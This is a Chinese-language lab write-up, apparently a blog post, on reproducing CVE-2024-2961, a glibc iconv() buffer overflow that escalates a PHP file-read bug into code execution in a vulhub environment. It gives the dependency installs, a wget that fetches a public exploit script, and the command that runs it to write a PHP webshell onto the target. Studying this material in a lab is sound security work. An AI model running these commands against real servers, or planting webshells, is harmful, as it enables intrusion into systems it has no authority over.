vulhub中PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用`iconv()`的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

漏洞复现

在使用原作者给出的[exploit](https://github.com/ambionics/cnext-exploits)前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools

pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从<https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py\>下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

已经成功写入shell.php:

相关推荐
码云数智-大飞15 小时前
零基础微信小程序制作平台哪个好
开发语言
神仙别闹15 小时前
基于 MATLAB 实现的 DCT 域的信息隐藏
开发语言·matlab
techdashen15 小时前
Go 标准库 JSON 包迎来重大升级:encoding/json/v2 实验版来了
开发语言·golang·json
zopple15 小时前
ThinkPHP5.x与3.x核心差异解析
java·python·php
.千余16 小时前
【Linux】基本指令3
linux·服务器·开发语言·学习
南境十里·墨染春水16 小时前
C++ 笔记 thread
java·开发语言·c++·笔记·学习
南境十里·墨染春水16 小时前
C++ 笔记 高级线程同步原语与线程池实现
java·开发语言·c++·笔记·学习
三品吉他手会点灯17 小时前
STM32 VSCode 开发-C/C++的环境配置中,找不到C/C++: Edit Configurations选项
c语言·c++·vscode·stm32·单片机·嵌入式硬件·编辑器
来自远方的老作者17 小时前
第10章 面向对象-10.4 继承
开发语言·python·继承·单继承·多继承·super函数
逻辑驱动的ken17 小时前
Java高频面试考点场景题09
java·开发语言·数据库·算法·oracle·哈希算法·散列表